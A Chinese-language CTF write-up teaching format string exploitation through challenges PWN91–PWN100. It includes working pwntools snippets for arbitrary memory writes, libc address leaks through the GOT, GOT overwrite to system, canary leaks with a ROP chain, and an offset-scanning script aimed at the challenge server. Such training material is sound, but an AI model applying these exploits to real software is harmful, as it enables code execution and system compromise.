1. 格式化字符串漏洞基础入门
格式化字符串漏洞是二进制安全领域中最经典的漏洞类型之一,它源于程序员错误使用printf等格式化函数时,允许用户控制格式化字符串内容。想象一下,你本想让服务员按固定格式填写订单(比如"咖啡:%s 糖量:%d"),结果服务员直接把你的原始输入当成指令执行了——这就是格式化字符串漏洞的本质。
在CTF比赛中,这类漏洞常出现在PWN题型中。以PWN91为例,题目给出了一个简单的判断条件:当变量daniu等于6时就能获得shell。通过反汇编可以看到,这个变量存储在0x0804B038地址处。关键突破点在于发现程序使用printf时直接使用了用户输入作为格式化字符串。
调试过程发现格式化字符串的偏移是7(这个数字需要通过调试或暴力尝试确定),于是构造payload时先用p32打包目标地址,再通过"%2c%7$hhn"将内存中daniu的值修改为6。这里的技巧在于:
- %2c表示输出2个字符(用于控制写入的数值)
- %7$hhn表示将前面输出的字符数(2)写入第7个参数指向的地址
- hhn表示按字节写入,避免影响相邻内存
2. 内存泄露与地址计算实战
PWN94和PWN95展示了更高级的利用技巧——通过格式化字符串泄露内存数据。就像侦探通过碎片信息拼凑完整线索一样,我们可以利用%s等格式化符读取任意地址内容。
以PWN95为例,典型攻击分三步走:
- 泄露libc基地址:通过格式化字符串读取puts函数的GOT表项
puts_got = elf.got['puts'] payload = p32(puts_got)+b"%6$s" # %6$s表示读取第6个参数指向的内容 sl(payload) puts_addr = u32(io.recvuntil(b"\xf7")[-4:])- 计算关键函数地址:利用泄露的地址计算system等函数位置
libc = LibcSearcher("puts", puts_addr) libc_base = puts_addr - libc.dump("puts") system_addr = libc_base + libc.dump("system")- 篡改GOT表:将printf等函数的GOT表项修改为system地址
payload = fmtstr_payload(6, {printf_got:system_addr}, numbwritten=0)特别要注意的是,不同版本的libc中函数偏移可能不同。在实际操作中,我经常遇到本地和远程环境libc版本不一致的情况,这时候LibcSearcher工具就派上大用场了。
3. 高级利用技巧与绕过方法
PWN98和PWN100展示了格式化字符串漏洞的进阶用法。PWN98需要同时处理栈溢出保护和格式化字符串漏洞,就像既要撬开保险箱又要破解密码锁。
关键步骤包括:
- 泄露canary值:通过%15$p泄露栈中的canary
payload = p32(puts_got)+b"%5$s.%15$p" sl(payload) canary = int(r(8),16)- 构造ROP链:在payload中正确放置canary后注入ROP链
payload = b"a"*(0x34-12)+p32(canary)+p32(0)*3 payload += p32(system_addr)+p32(0x0804876B)+p32(binsh)PWN100则更为复杂,需要处理标准输出被关闭的情况。我的解决思路是:
- 先通过%7$n将限制计数器a1清零
- 使用%16$p泄露栈地址计算返回地址位置
- 精心构造payload修改返回地址指向目标函数
这种多阶段利用就像玩解谜游戏,必须按特定顺序触发各个机关。在实际操作中,我经常用gdb的vmmap命令查看内存布局,结合x/i $pc等命令分析执行流程。
4. 自动化利用与技巧总结
PWN99展示了两种不同的解题思路:暴力泄露和精确扫描。对于新手来说,建议先用暴力方法感受漏洞特征:
payload = b"a"*8 + b"%p.%p"*2000而更优雅的解决方案是编写自动化扫描脚本:
def leak(payload): io = remote('pwn.challenge.ctf.show',28216) io.sendline(payload) data = io.recvuntil('\n', drop=True) if data.startswith(b'0x'): print(p64(int(data, 16))) io.close() i = 1 while True: payload = '%{}$p'.format(i) leak(payload) i += 1在实战中我总结了几个关键点:
- 偏移量确定:建议先发送AAAA%p%p...测试,找到AAAA的起始位置
- 内存写入控制:优先使用hhn(单字节)而非hn(双字节),避免意外修改相邻内存
- 长度计算:注意payload中已输出的字符数对格式化字符串的影响
- 错误处理:添加超时机制防止脚本卡死
最后要提醒的是,不同架构下的参数传递方式不同。x86是栈传参,而x86_64前六个参数通过寄存器传递。在PWN100这种64位程序中,需要特别注意寄存器与栈的混合使用情况。